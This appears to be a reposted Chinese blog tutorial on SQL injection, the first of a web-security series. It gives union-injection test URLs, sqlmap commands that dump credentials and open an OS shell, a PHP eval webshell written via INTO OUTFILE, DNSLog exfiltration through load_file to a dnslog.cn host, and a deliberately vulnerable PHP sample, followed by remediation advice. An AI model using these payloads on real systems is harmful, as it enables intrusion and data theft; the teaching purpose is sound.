当前位置:   article > 正文

《WEB安全漏洞30讲》(第1讲)SQL注入漏洞_sql注入的漏洞怎么发现的

sql注入的漏洞怎么发现的

欢迎关注WX号:午夜观星河,专注于计算机信息安全技术分享。

工作多年后,我打算将Web漏洞做一个整理记录,以方便想要学习或转行网络安全行业的小伙伴,从本文开始,我将从漏洞原理、漏洞测试、漏洞修复等方面详细讲解Web安全系列漏洞。

1.SQL注入漏洞原理

SQL注入漏洞,就是通过把SQL命令插入到URL地址、Web表单提交或页面请求的查询字符串中,最终达到欺骗服务器执行恶意的SQL 命令。漏洞成因是程序没有对用户输入的内容进行安全检查,直接代入数据库进行查询,导致了sql注入的发生。

SQL注入漏洞包括:union注入、boolean注入、报错注入、时间盲注、堆叠查询注入、二次注入、宽字节注入、cookie注入、base64注入、XFF注入等。

2.SQL注入漏洞测试

2.1SQL注入漏洞发现

判断是否存在注入漏洞,使用单引号报错, and 1=1页面正常,and 1=2页面不正常,则判断存在sql注入漏洞。

2.2SQL注入漏洞手动测试

上面说过SQL注入漏洞分了很多种类,受限于篇幅,这里只以union注入举例,其他将附上链接,感兴趣的小伙伴可以自行查看。

(1)union注入,又称联合注入,它是利用union和前面的一条SQL语句拼接,并构造其列数与前面的SQL语句列数相同。

A.判断是否存在漏洞:(www.test.com为本地搭建环境)

http://www.test.com/web/union.php?id=1

http://www.test.com/web/union.php?id=1'

http://www.test.com/web/union.php?id=1 and 1=1

http://www.test.com/web/union.php?id=1 and 1=2

B.查询字段数量

http://www.test.com/web/union.php?id=1 order by 3

当id=1 order by 3时,页面返回与id=1相同的结果;而id=1 order by 4时不一样,故字段数量是3。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5Y2I5aSc5a6J5YWo,size_20,color_FFFFFF,t_70,g_se,x_16

 C.查询SQL语句插入位置

http://www.test.com/web/union.php?id=-1 union select 1,2,3

可以看到2,3位置可以插入SQL语句。

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5Y2I5aSc5a6J5YWo,size_20,color_FFFFFF,t_70,g_se,x_16

D.获取当前数据库库名

2位置修改为:database()

http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5Y2I5aSc5a6J5YWo,size_20,color_FFFFFF,t_70,g_se,x_16

源码:

  1. <?php
  2. $con=mysqli_connect("localhost","root","root","security");
  3. mysqli_set_charset($con,'utf8');
  4. if(!$con){
  5. echo "Connect failed : ".mysqli_connect_error();
  6. }
  7. $id=$_GET['id'];
  8. $result=mysqli_query($con,"select * from users where id=".$id );
  9. $row=mysqli_fetch_array($result);
  10. echo $row['username']." : ".$row['password'];
  11. ?>

union注入详解:https://blog.csdn.net/SouthWind0/article/details/82913183

(2)Boolean注入:构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此来获取数据库中的数据。

 Boolean注入详解:https://blog.csdn.net/SouthWind0/article/details/82917798

(3)报错注入:输入'等字符,SQL语句报错,程序直接将错误信息输出到了页面上,就可以尝试利用报错注入来获取数据。常用到的函数:updatexml() 、extractvalue()、exp()、floor()等。

报错注入详解:https://blog.csdn.net/SouthWind0/article/details/82924149

(4)时间盲注:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。

时间盲注详解:https://blog.csdn.net/SouthWind0/article/details/82926845

(5)堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。

堆叠查询注入详解:https://blog.csdn.net/SouthWind0/article/details/82929895

(6)二次注入:攻击者构造的恶意数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。

二次注入详解:https://blog.csdn.net/SouthWind0/article/details/82931871

(7)宽字节注入:id=1’时并没有报错,但多了一个转义符,反斜杠,在地址后先加%df,再加单引号,因为反斜杠的编码是%5c,而GBK编中,%df%5c是繁体字的“連”,单引号成功逃逸。再使用注释符来注释后面多余的单引号。

宽字节注入详解:https://blog.csdn.net/SouthWind0/article/details/83342847

(8)cookie注入:指的是针对cookie数据进行注入。

cookie注入详解:https://blog.csdn.net/SouthWind0/article/details/83343914

(9)base64注入是针对传递的参数被base64加密后的注入点进行注入。这种方式常用来绕过一些WAF的检测。

Base64注入详解:https://blog.csdn.net/SouthWind0/article/details/83344880

(10)XFF注入:指的是针对X-Forwarded-For进行注入,X-Forwarded-For简称XFF头,它代表了客户端的真实IP,通过修改他的值就可以伪造客户端IP。

 XFF注入详解:https://blog.csdn.net/SouthWind0/article/details/83348706

2.3SQL注入漏洞自动化测试

在真实的测试环境中,一般都是使用自动化工具进行测试SQL注入,sqlmap是当前安全工程师最喜欢使用的SQL注入自动化工具,它的基本用法如下:

测试GET型:

(1)判断是否存在注入

sqlmap.py -u “http://xx.com/index.php?id=1”

(2)获取所有数据库

sqlmap.py -u “http://xx.com/index.php?id=1” --dbs

(3)获取数据库中的表名

sqlmap.py -u “http://xx.com/index.php?id=1” -D security --tables

(4)获取表中的字段名

sqlmap.py -u “http://xx.com/index.php?id=1” -D security -T users --columns

(5)获取字段的内容

sqlmap.py -u “http://xx.com/index.php?id=1” -D security -T users -C username,password --dump

常用命令:

列出所有用户:sqlmap.py -u “http://xx.com/index.php?id=1” --users

获取用户密码:sqlmap.py -u “http://xx.com/index.php?id=1” --passwords

获取当前网站数据库名称:

sqlmap.py -u “http://xx.com/index.php?id=1” --current-db

测试POST型:测试POST型请求报文、Cookie信息等。

(1)cookie注入,猜解表

sqlmap.py -u “http://xx.com/index.php” --cookie “id=1” --level 2 -D security --tables

探测等级:--level,一共5个等级,可以不加level,默认为1。为2时会测试cookie,为3时会测试User-Agent/Referer。总之为了保证全面性,建议使用高的level。

(2)判断文本请求是否存在注入

sqlmap.py -r 1.txt

2.4SQL注入漏洞深层次利用

(1)手动利用

最常见的用法是利用SQL注入向服务器写入webshell,网站路径可以通过phpinfo()页面信息、系统信息、以及数据包泄露绝对路径获得。写入一句话利用(注意写入目录需要有权限),其中x为php文件名:

select '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/x';

如下所示:

http://xx.test/test/union.php?id=-1%20union%20select%201,2,%27%3C?php%20@eval($_POST[cmd]);?%3E%27%20into%20outfile%20%27/var/www/html/test/shell.php%27

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5Y2I5aSc5a6J5YWo,size_20,color_FFFFFF,t_70,g_se,x_16

(2)利用sqlmap

反弹一个osshell:

python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/security" --os-shell

执行操作系统命令:

python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/security" --os-cmd=OSCMD

数据库提权:--priv-esc

获取数据库shell:--sql-shell   

注意:MySQL读写文件的条件限制,SQLMAP获取os-shell的需要文件写入操作:
(1)、MySQL服务默认以mysql用户权限启动,并没有危险目录(/usr/lib64/mysql/plugin[root 755]、/var/www/html[root 755]、/var/spool/cron[root 700]、/root/.ssh[root 700]等)下的文件写入权限。
(2)、MySQL 5.6.34版本以后的secure_file_priv参数默认值为NULL或指定的/var/lib/mysql-files,即禁止在危险目录写入。

(3)DNSLog外带

对于SQL盲注(布尔盲注、时间盲注),以及只有DNS出网的SQL注入,我们可以利用DNSLog来获取信息。作为攻击者,提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就得到了想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后我们在NS服务器上面获取DNS日志即可。

mysql通常会利用内置函数load_file()来完成DNSLOG,load_file()不仅能够加载本地文件,同时也能对诸如\\www.test.com这样的URL发起请求。
通过show variables like '%secure%';查看load_file()可以读取的磁盘。
A.当secure_file_priv为空,就可以读取磁盘的目录。
B.当secure_file_priv为G:\,就可以读取G盘的文件。
C.当secure_file_priv为null,load_file就不能加载文件。
通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

举例:select load_file(concat('\\\\',(select database()),'.mysql.uj4j2o.dnslog.cn\\abc'));

注意:load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。

3.SQL注入漏洞修复

(1)建议不要直接拼接SQL语句,而应该使用预编译的方式进行参数化查询,这是解决此漏洞的根本方法。

正确写法:select * from user where name = #{name};//这种底层会解析成预编译语句 select * from user where name = ?

错误写法:select * from user where name = ${name};

(2)对用户的输入进行检验过滤,过滤危险字符,如:;、'、"、()、,、\、--+、#、and、or、union、select、where、limit、group、by、hex、substr。此种方法存在缺陷,一方面可能会影响业务,另一方面可能会存在绕过。

(3)为每个应用使用单独的、权限有限的数据库连接。

(4)机密信息应该加密,秘钥信息分开存放,这样即使数据泄露,攻击者也无法解密。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/596237
推荐阅读
相关标签
  

闽ICP备14008679号